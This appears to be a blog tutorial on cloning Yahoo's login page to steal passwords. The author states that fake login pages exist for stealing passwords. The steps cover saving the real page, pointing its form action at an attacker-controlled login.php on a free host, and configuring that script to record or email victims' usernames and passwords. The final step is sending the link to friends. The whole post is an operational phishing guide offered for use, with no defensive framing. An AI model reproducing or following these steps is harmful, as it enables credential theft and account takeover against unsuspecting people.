How to Create a Fake Login Page

In this post, I’ll show you how to create a fake login page. A fake login page exactly resembles the original login page of sites like Yahoo and Gmail. Fake login pages are created for the purpose of stealing passwords.

Here in this post I will provide the procedure for creating a fake login page for Yahoo.com. The same procedure may be followed to create the fake login page of Gmail and other sites.

Due to a large number of requests from my visitors, I have elaborated some of the steps in this post. I have made best effort to explain every point in detail.

Here is a step-by-step procedure to create a fake login page.

STEP 1.
Go to the Yahoo login page by typing the following URL.

mail.yahoo.com

STEP 2.
Once the Yahoo login page is loaded, save the page as Complete HTML file. (Not as.mht file)
To save the page go to File->Save As

Tip: .mht option is available only in IE 7. So if you you are using some other browser you need not worry.

STEP 3.
Once you save the login page completely, you will see a HTML file and a folder – the name is something like Yahoo! Mail The best web-based email!

STEP 4.
Make sure that the folder contains the necessary images and other support files. Now rename the Folder to “files.“ You may also rename the .HTML file to yahoo.HTML

STEP 5.
Now open the .HTML file using a WordPad. Change the links of all the files present in the folder to /files.

For example you may find something like this in the opened HTML file

src=”Yahoo!%20Mail%20The%20best%20web-based%20email!_files/ma_mail_1.gif”

Rename the above link into

src=”files/ma_mail_1.gif”

Repeat the same procedure for every file contained in the folder by name “files“.

Tip: To search for the links, press Ctrl+F in the opened WordPad and search for “.gif”. Repeat the Step 5 for every .gif file.

STEP 6.

Now search for the following term

action=

you will see something like this

action=https://login.yahoo.com/config/login?

Edit this to

action=http://yoursite.com/login.php

Tip: Open a free account in 110mb.com to create your own site for uploading the fake login page. yoursite.com has to be substituted with the name of your site. For example if your site name is yahooupdate.110mb.com then replace yoursite.com withyahooupdate.110mb.com.

Save the changes to the file.

NOTE: You can write your own code for login.php or search for login.php (Login script) on Google.

STEP 7.

Now you have to upload your yahoo.HTML, files folder, and login.php to

yoursite.com root folder

NOTE: Make sure that your host supports PHP

Tip: 110mb.com supports PHP

STEP 8.
Configure the login.php file to save the entered password onto a .TXT file and redirect the user to original login page (mail.yahoo.com)

Tip: login.php can save the password in any format (not necessarily .TXT format). You can search for a php script in Google that can save the password in any format. You may also search for a php script that can email the username & password.

NOTE: The concept here is to save the password. The format is not important.

STEP 9.
Distribute the Yahoo.HTML URL (ie: yoursite.com/yahoo.HTML) to your friends. When they login from this fake login page, the login.php will save the username and password onto the .TXT file (or any other format) in your site. Download the file to see the password inside it.